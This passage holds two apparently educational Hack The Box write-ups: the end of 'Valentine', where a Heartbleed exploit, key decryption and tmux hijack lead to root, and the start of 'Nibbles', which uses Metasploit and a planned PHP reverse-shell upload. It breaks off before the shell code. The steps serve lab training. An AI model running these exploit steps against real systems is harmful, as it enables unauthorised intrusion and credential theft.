<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/image-57.png" alt="Image" width="600" height="400" loading="lazy">
<em>https://xkcd.com/1354/</em></p>
<h2 id="heading-step-3-visit-the-web-page"><strong>Step</strong> 3 – <strong>Visit the</strong> W<strong>eb</strong> P<strong>age</strong></h2>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/image-58.png" alt="Image" width="600" height="400" loading="lazy">
<em>https://en.wikipedia.org/wiki/Heartbleed</em></p>
<p>From the reconnaissance phase, I decide to start with port 80. And I get a page with a picture. I recognise the Heartbleed logo on the right side.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-24-at-23.12.16.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I look at the source code. Nothing interesting.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-24-at-23.14.43.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I decide to run <strong>Gobuster</strong>. Gobuster is a directory scanner written in Go. You can find more info on the tool <a target="_blank" href="https://tools.kali.org/web-applications/gobuster">here</a>.</p>
<p>Gobuster uses wordlists on the HTB Parrot box which are located in the <strong>/usr/share/</strong>wfuzz/wordlist/ directory. I'm using the "<strong>big</strong>.txt<strong>**" and "</strong>megabeast.txt<strong>" wordlists, but you can download more wordlists from </strong>SecLists** <a target="_blank" href="https://github.com/danielmiessler/SecLists">here</a>. </p>
<p>I use this command for the <strong>big.txt</strong> wordlist:</p>
<pre><code class="lang-bash">gobuster dir -u 10.129.1.190 -w /usr/share/wfuzz/wordlist/general/big.txt -x php,html,txt
</code></pre>
<p>I also focus on .php, .txt and .html files with the <strong>-x</strong> flag (extensions).</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-24-at-23.30.13.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I then use this command for the <strong>megabeast.txt</strong> wordlist:</p>
<pre><code class="lang-bash">gobuster dir -u 10.129.1.190 -w /usr/share/wfuzz/wordlist/general/megabeast.txt -x php,html,txt
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-24-at-23.30.40.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>This demonstrates the need to pick the right wordlist or run at least two different wordlists to make sure to capture as much information you can.</p>
<p>There are a couple of great findings. I start by checking the <strong>/</strong>dev<strong>/</strong> folder.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-24-at-23.31.32.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>There are two files. I check the content of the <strong>hype_key</strong> file. It seems to be hex values. </p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-24-at-23.31.54.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>The other file, <strong>notes.txt</strong>, is a to do list. </p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-24-at-23.32.15.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I also find a decoder on <strong>/decode</strong>.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-24-at-23.33.12.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>and an encoder on <strong>/encode</strong>.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-24-at-23.33.38.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-step-4-decrypt-the-key"><strong>Step</strong> 4 – Decrypt the key</h2>
<p>I go back to my terminal and copy/paste the content of the <strong>hype_key</strong> on a file. </p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-24-at-23.38.58.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I cat the content to make sure I copied everything correctly with:</p>
<pre><code class="lang-bash">cat hype.key
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-24-at-23.39.32.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use the terminal to decode the key, and more specifically <strong>xxd</strong>. More info on this command <a target="_blank" href="https://www.tutorialspoint.com/unix_commands/xxd.htm">here</a>. I use the combination -r -p to read plain hexadecimal dumps without line number information and without a particular column layout.</p>
<p>I use the command:</p>
<pre><code class="lang-bash">cat hype.key | xxd -r -p
</code></pre>
<p>The output is an <strong>encrypted</strong> <strong>RSA key</strong>. A RSA key is a private key based on the RSA algorithm. A private key is used for authentication and a symmetric key exchange during establishment of an SSL/TLS session.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-24-at-23.44.01.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I capture the output into a new file, <strong>hype_key.rsa</strong>, with:</p>
<pre><code class="lang-bash">cat hype.key | xxd -r -p &gt; hype_key.rsa
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-24-at-23.45.08.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>But without a password, this key isn’t very useful. Let's see if we can find it!</p>
<h2 id="heading-step-5-find-an-exploit"><strong>Step</strong> 5 – Find an Exploit</h2>
<p>From the reconnaissance phase on Nmap and the webpage, we did find that the machine was vulnerable or has a link to Heartbleed. </p>
<p>I use <strong>Searchsploit</strong> to check if there is any known exploit. Searchsploit is a command line search tool for <a target="_blank" href="https://www.exploit-db.com/">Exploit Database</a>.</p>
<p>I use the following command:</p>
<pre><code class="lang-bash">searchsploit heartbleed
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-25-at-00.08.03.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>There are a few results. I will go with the first one. I get more details on an exploit with:</p>
<pre><code class="lang-bash">searchsploit -x 32764.py
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-25-at-00.08.57.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-25-at-00.08.41.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>You can also check the <strong>Exploit Database</strong> to find the same exploit if you're not comfortable reading documentation on the terminal.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-25-at-18.24.55.png" alt="Image" width="600" height="400" loading="lazy">
<em>https://www.exploit-db.com/exploits/32764</em></p>
<p>I get more information with:</p>
<pre><code class="lang-bash">searchsploit -p 32764.py
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-25-at-00.09.23.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I can see where it is located on the HTB Parrot box. I copy the file in my <strong>Valentine</strong> folder with:</p>
<pre><code class="lang-bash">cp /usr/share/exploitdb/exploits/multiple/remote/32764.py .
</code></pre>
<p>and I check if it has been copied in this folder:</p>
<pre><code class="lang-bash">ls -la
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-25-at-00.09.57.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I rename the file to <strong>heartbleed.py</strong> with:</p>
<pre><code class="lang-bash">mv 32764.py heartbleed.py
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-25-at-00.10.23.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I then start the exploit with the following command:</p>
<pre><code class="lang-bash">python2 heartbleed.py 10.129.1.190
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-25-at-00.12.26.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>There's a lot of information, but scrolling through it and looking at the right side, I can see an interesting string:</p>
<pre><code class="lang-bash"><span class="hljs-variable">$text</span>=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==
</code></pre>
<p>This is <strong>base 64</strong>. Let's try the decoder we found earlier on <strong>/decode</strong>.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-25-at-00.14.28.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I submit the string and got a password back!</p>
<pre><code class="lang-bash">heartbleedbelievethehype
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-25-at-00.14.13.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>You can also decode it on your terminal using the following command.</p>
<pre><code class="lang-bash"><span class="hljs-built_in">echo</span> aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg== | base64 --decode
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-25-at-00.16.32.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I try this newly found password on the RSA key with:</p>
<pre><code class="lang-bash">openssl rsa -<span class="hljs-keyword">in</span> hype_key.rsa -out hype_key_decrypted.rsa
</code></pre>
<p>I enter the password when I am prompted to do so.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-25-at-00.29.05.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>From the reconnaissance phase, we found an open port 22. Let's <strong>SSH</strong> to the machine. I make an educated guess on the username and decide to go with <strong>hype</strong> as I found this name on the key on the <strong>/dev</strong> folder </p>
<p>I SSH to the machine with:</p>
<pre><code class="lang-bash">ssh -i hype_key_decrypted.rsa hype@10.129.1.190
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-25-at-00.30.17.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>And I'm now in as the user <strong>hype</strong>.</p>
<h2 id="heading-step-6-look-for-the-usertxt-flag"><strong>Step</strong> 6 <strong>- Look for the user.txt Flag</strong></h2>
<p>I start navigating up to the /<strong>home</strong> directory.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-25-at-00.31.09.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I continue in to the /<strong>hype</strong> directory.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-25-at-00.31.44.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>And I find the user flag! I can check the contents of the file with:</p>
<pre><code class="lang-bash">cat user.txt
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-25-at-00.32.40.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-step-7-look-for-the-roottxt-flag"><strong>Step</strong> 7 <strong>-</strong> Look <strong>for the root.txt</strong> F<strong>lag</strong></h2>
<p>I navigate back to the <strong>/</strong> folder. I can't access the /<strong>root</strong> directory.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-25-at-00.33.13.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I decide to go back to hype's directory and I see that the <strong>.bash_history</strong> file is not a zero byte file.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-25-at-00.33.58.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I cat its content with:</p>
<pre><code class="lang-bash">cat .bash_history
</code></pre>
<p>The bash shell stores the history of commands you have run in your user account's history file at~/. bash_history by default.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-25-at-00.34.28.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I can see some commands with <strong>tmux</strong>.</p>
<blockquote>
<p><strong>tmux</strong> is an open-source terminal multiplexer for Unix-like operating systems. It allows multiple terminal sessions to be accessed simultaneously in a single window. It is useful for running more than one command-line program at the same time. It can also be used to detach processes from their controlling terminals, allowing remote sessions to remain active without being visible. - Wikipedia</p>
</blockquote>
<p>More info <a target="_blank" href="https://github.com/tmux/tmux/wiki">here</a>.</p>
<p>I run <strong>ps</strong> and can see that the <strong>tmux</strong> session has been run as the root user:</p>
<pre><code class="lang-bash">ps aux | grep tmux
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-25-at-00.35.00.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I ran the command to connect to the session, with full root privileges.</p>
<pre><code class="lang-bash">tmux -S /.devs/dev_sess
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-25-at-00.35.22.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I am now root!</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-25-at-00.37.31.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I can navigate to the <strong>root</strong> directory. I find the root.txt file and check its content with:</p>
<pre><code class="lang-bash">cat root.txt
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-25-at-00.38.50.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Congrats! You found both flags.</p>
<h2 id="heading-remediations"><strong>Remediations</strong></h2>
<ul>
<li>Upgrade to the latest version of OpenSSL</li>
<li>Replace ALL keys and certificates on web servers to mitigate the risks of a security breach, and revoke old ones</li>
<li>Apply the p<a target="_blank" href="https://en.wikipedia.org/wiki/Principle_of_least_privilege">rinciple of least privilege</a> to all your systems and services</li>
</ul>
<p>Don’t hesitate to ask questions or share with your friends :)</p>
<p>You can see more articles from the series <strong>Keep Calm and Hack the Box</strong> <a target="_blank" href="https://www.freecodecamp.org/news/search/?query=keep%20calm%20and%20hack%20the%20box">here</a>.</p>
<p>You can follow me on <a target="_blank" href="https://twitter.com/SonyaMoisset">Twitter</a> or on <a target="_blank" href="https://www.linkedin.com/in/sonyamoisset/">LinkedIn</a>.</p>
<p>And don't forget to #<strong>GetSecure</strong>, #<strong>BeSecure</strong> &amp; #<strong>StaySecure</strong>!</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/vapor-synthwave-retro-city-4k-xu-1.jpeg" alt="Image" width="600" height="400" loading="lazy"></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Keep Calm and Hack The Box – Nibbles ]]>
                </title>
                <description>
                    <![CDATA[ Hack The Box (HTB) is an online platform that allows you to test your penetration testing skills. It contains several challenges that are constantly updated. Some of them simulate real world scenarios and some of them lean more towards a CTF style of... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-nibbles/</link>
                <guid isPermaLink="false">66ba312a39eb66a1f2c013d7</guid>
                
                    <category>
                        <![CDATA[ Application Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ information security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ #infosec ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Web Security ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Sonya Moisset ]]>
                </dc:creator>
                <pubDate>Tue, 25 May 2021 00:20:22 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2021/05/synthwave-cityscape-4k-6x-1920x1080-1.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Hack The Box (HTB) is an online platform that allows you to test your penetration testing skills.</p>
<p>It contains several challenges that are constantly updated. Some of them simulate real world scenarios and some of them lean more towards a CTF style of challenge.</p>
<p><strong>Note</strong>: <em>Only write-ups of retired HTB machines are allowed.</em></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-24-at-00.44.51.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Nibbles is an easy machine which focuses on guessing passwords and enumerating web applications.</p>
<p>In this tutorial, we will use the following tools to pawn the box:</p>
<ul>
<li>nmap</li>
<li>gobuster</li>
<li>metasploit</li>
<li>PHP reverse shell</li>
<li>netcat</li>
</ul>
<p>Let's get started!</p>
<h2 id="heading-step-1-do-some-reconnaissance"><strong>Step 1</strong> – Do Some <strong>Reconnaissance</strong></h2>
<p>The first step before exploiting a machine is to do a little bit of scanning and reconnaissance.</p>
<p>This is one of the most important parts as it will determine what you can try to exploit afterwards. It is always better to spend more time on this phase to get as much information as you can.</p>
<h3 id="heading-port-scanning-with-nmap"><strong>Port scanning</strong> with Nmap</h3>
<p>I will use <strong>Nmap</strong> (Network Mapper). Nmap is a free and open source utility for network discovery and security auditing.</p>
<p>It uses raw IP packets to determine what hosts are available on the network, what services those hosts are offering, what operating systems they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics.</p>
<p>There are many commands you can use with this tool to scan the network. If you want to learn more about it, you can have a look at the documentation <a target="_blank" href="https://tools.kali.org/information-gathering/nmap">here</a>.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-23-at-22.59.16.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use the following command to perform an intensive scan:</p>
<pre><code class="lang-bash">nmap -A -v 10.129.151.27
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-23-at-22.57.48.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p><strong>-A:</strong> Enables OS detection, version detection, script scanning, and traceroute</p>
<p><strong>-v:</strong> Increases verbosity level</p>
<p><strong>10.129.151.27</strong>:<em>**</em> IP for the Nibbles box</p>
<p>If you find the results a little bit too overwhelming, you can try this:</p>
<pre><code class="lang-bash">nmap 10.129.151.27
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-23-at-22.56.30.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>We can see that there are 2 open ports:</p>
<p><strong>Port</strong> 22. Secure Shell (SSH), secure logins, file transfers (scp, sftp) and port forwarding</p>
<p><strong>Port</strong> 80. Hypertext Transfer Protocol (HTTP). Here it's an Apache server (httpd 2.4.18).</p>
<h2 id="heading-step-2-visit-the-web-page"><strong>Step 2</strong> – <strong>Visit the</strong> W<strong>eb</strong> P<strong>age</strong></h2>
<p>From the reconnaissance phase, I decide to start with port 80. And I get a page with a simple "Hello World" message at the top.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-23-at-23.00.57.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I look at the source code and see that there is a commented line:</p>
<pre><code class="lang-html"><span class="hljs-comment">&lt;!-- /nibbleblog/ directory. Nothing interesting here! --&gt;</span>
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-23-at-23.02.03.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I navigate to this folder and land on what looks like a blog page called "Nibbles Yum Yum".</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-23-at-23.04.59.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I can see at the bottom that the blog is powered by Nibbleblog. I have a look at what it is. </p>
<p>Nibbleblog is described as an easy, fast and free PHP blog system. You can find more info <a target="_blank" href="https://www.nibbleblog.com/">here</a>.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-23-at-23.04.38.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Having this new piece of information, I decide to run <strong>Gobuster</strong>. Gobuster is a directory scanner written in Go. You can find more info on the tool <a target="_blank" href="https://tools.kali.org/web-applications/gobuster">here</a>.</p>
<p>Gobuster uses wordlists on the HTB Parrot box which are located in the <strong>/usr/share/</strong>wfuzz/wordlist/ directory. I'm using the "<strong>common.txt</strong>" wordlist, but you can download more wordlists from <strong>SecLists</strong> <a target="_blank" href="https://github.com/danielmiessler/SecLists">here</a>.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-23-at-23.06.56.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use this command for the dirb common.txt wordlist:</p>
<pre><code class="lang-bash">gobuster dir -u 10.129.151.27 -w /usr/share/wfuzz/wordlist/general/common.txt -x php,txt
</code></pre>
<p>I also focus on .php and .txt files with the <strong>-x</strong> flag (extensions).</p>
<p>There are a couple of great findings, including an <strong>/</strong>admin<strong>/</strong> folder. I start by checking the <strong>/content/</strong> folder.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-23-at-23.11.24.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Then the <strong>/install.php</strong> file. I click on update:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-23-at-23.10.15.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I land on the <strong>/update.php</strong> page I found on Gobuster. There is a couple of links:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-23-at-23.09.54.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I navigate to the first one, the <strong>/config.xml</strong> page:</p>
<pre><code class="lang-bash">10.129.151.27/nibbleblog/content/private/config.xml
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-23-at-23.19.02.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I scan through the xml file and write down the email I find there:</p>
<pre><code class="lang-bash">admin@nibbles.com
</code></pre>
<p>which could potentially be valuable user information.</p>
<p>I continue scanning through the other pages I found with Gobuster. I navigate to the <strong>/admin/</strong> folder:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-23-at-23.12.23.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>And to the <strong>/admin.php</strong> page. I finally find a login page!</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-23-at-23.11.55.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I try dummy credentials to see the behaviour of the page. The parameters for the form are:</p>
<pre><code class="lang-bash">username=<span class="hljs-built_in">test</span>&amp;password=<span class="hljs-built_in">test</span>
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-23-at-23.22.21.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I navigate to the last page I found on Gobuster, the <strong>/users.xml</strong> page. I can see that there is a username, <strong>admin</strong>, but also that there seems to be a blacklist mechanism in place. I assume so with the  tags and my HTB IP address was added to the end. The fail count of <strong>1</strong> was my previous test with the dummy credentials.</p>
<p>It seems that we won't be able to brute force the login page. We will need to guess the username:password combination.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-23-at-23.22.44.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-step-3a-exploit-the-nibbleblog-vulnerability-with-metasploit"><strong>Step 3</strong>a – Exploit the Nibbleblog V<strong>ulnerability </strong>with Metasploit<em>**</em></h2>
<p>From the reconnaissance phase on the <strong>/update.php</strong>, there was some information on the version of Nibbleblog.</p>
<pre><code class="lang-bash">Nibbleblog 4.0.3 <span class="hljs-string">"Coffee"</span>
</code></pre>
<p>I google the version to check if there is any known vulnerability on this specific version. I find one on the <strong>Exploit Database</strong>. </p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-23-at-23.25.55.png" alt="Image" width="600" height="400" loading="lazy">
<em><a target="_blank" href="https://www.exploit-db.com/exploits/34900">https://www.exploit-db.com/exploits/</a>38489</em></p>
<p>There seems to be a Metasploit exploit available for this vulnerability. </p>
<p>I then use <strong>Metasploit</strong>, which is a penetration testing framework that makes hacking simple. It's an essential tool for many attackers and defenders.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2019/08/Screenshot-2019-08-02-at-21.14.13.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I launch the <strong>Metasploit Framework</strong> and look for the command I should use for the exploit.</p>
<p>Don't forget to update Metasploit when you launch it with this command:</p>
<pre><code class="lang-bash">msfupdate
</code></pre>
<p>I search for the exploit with this command:</p>
<pre><code class="lang-bash">search nibbleblog
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-23-at-23.27.59.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>This is the same one I found on the Exploit Database. I get more information with:</p>
<pre><code class="lang-bash">info 0
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-23-at-23.29.19.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>This also gives me an idea of the options required for the exploit. We can see all the required ones – including a valid username:password combination:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-23-at-23.29.47.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>The information section gives us a couple of links to learn more about the vulnerability. The first link redirects to the <strong>National Vulnerability Database</strong>.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-23-at-23.30.40.png" alt="Image" width="600" height="400" loading="lazy">
<em>https://nvd.nist.gov/vuln/detail/CVE-2015-6967</em></p>
<p>The second link is a security research blog on manually exploiting the vulnerability. I will use this method in the next step.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-23-at-23.31.41.png" alt="Image" width="600" height="400" loading="lazy">
<em>https://curesec.com/blog/article/blog/NibbleBlog-403-Code-Execution-47.html</em></p>
<p>Now that we have a little bit more context, let's use the exploit with:</p>
<pre><code class="lang-bash">use 0
</code></pre>
<p>You should now see the msf6 terminal set to:</p>
<pre><code class="lang-bash">exploit(multi/http/nibbleblog_file_upload)
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-23-at-23.34.13.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I will now set the different options with these commands:</p>
<pre><code class="lang-bash"><span class="hljs-built_in">set</span> USERNAME admin
</code></pre>
<pre><code class="lang-bash"><span class="hljs-built_in">set</span> PASSWORD nibbles
</code></pre>
<p>I am setting the username:password combination to admin:nibbles. I found the username admin on the <strong>/users.xml</strong> page and I tried my luck for the password with the email I found on the <strong>/config.xml</strong> page (admin@nibbles.com)</p>
<pre><code class="lang-bash"><span class="hljs-built_in">set</span> RHOSTS 10.129.151.27
</code></pre>
<pre><code class="lang-bash"><span class="hljs-built_in">set</span> LHOST 10.10.14.110
</code></pre>
<p>I set the target URI to the blog page:</p>
<pre><code class="lang-bash"><span class="hljs-built_in">set</span> TARGETURI /nibbleblog/
</code></pre>
<p>I run the <strong>check</strong> command – as I saw it was available when I checked the info on the exploit. The target appears to be vulnerable. This is also the confirmation that the options have been set correctly. </p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-23-at-23.44.34.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I check the options before running the exploit:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-23-at-23.45.02.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I run the exploit with:</p>
<pre><code class="lang-bash">run
</code></pre>
<p>and get a <strong>Meterpreter</strong> session back.</p>
<p>Here's the definition of Meterpreter from <a target="_blank" href="https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/">Offensive Security</a>:</p>
<blockquote>
<p>Meterpreter is an advanced, dynamically extensible payload that uses <em>in-memory</em> DLL injection stagers and is extended over the network at runtime. It communicates over the stager socket and provides a comprehensive client-side Ruby API. It features command history, tab completion, channels, and more.</p>
</blockquote>
<p>You can read more about Meterpreter <a target="_blank" href="https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/">here</a>.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-23-at-23.46.11.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-step-3b-exploit-the-nibbleblog-vulnerability-without-metasploit"><strong>Step</strong> 3b – Exploit the Nibbleblog V<strong>ulnerability </strong>with<strong>**out </strong>Metasploit**</h2>
<p>Back to the <strong>/admin.php</strong> page. I have to guess the password. Looking at my notes, I found the username admin on the <strong>/users.xml</strong> page and I tried my luck for the password with the email I found on the <strong>/config.xml</strong> page (admin@nibbles.com).</p>
<p>I set the username:password combination to admin:nibbles.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-24-at-00.14.19.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>And it works!</p>
<p>I can see the Nibbleblog Dashboard. We see on the notifications board on the right side that my <strong>login failed attempt</strong> was captured. </p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-24-at-00.14.40.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I navigate to the <strong>Plugins</strong> tab and to <strong>My image</strong>:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-24-at-00.15.43.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>We can upload a <strong>PHP reverse shell</strong> as an image file:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-24-at-00.15.59.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p><strong>Pentestmonkey</strong> has a list of reverse shells, and I will use the PHP one. The code is available on their GitHub repository.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-24-at-00.26.33.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Click on the <strong>php-reverse-shell.php</strong> file:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-24-at-00.26.50.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>This is the piece of code we will need to upload on the Nibbleblog Dashboard:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-24-at-00.27.11.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I need to change this section with my HTB IP.</p>
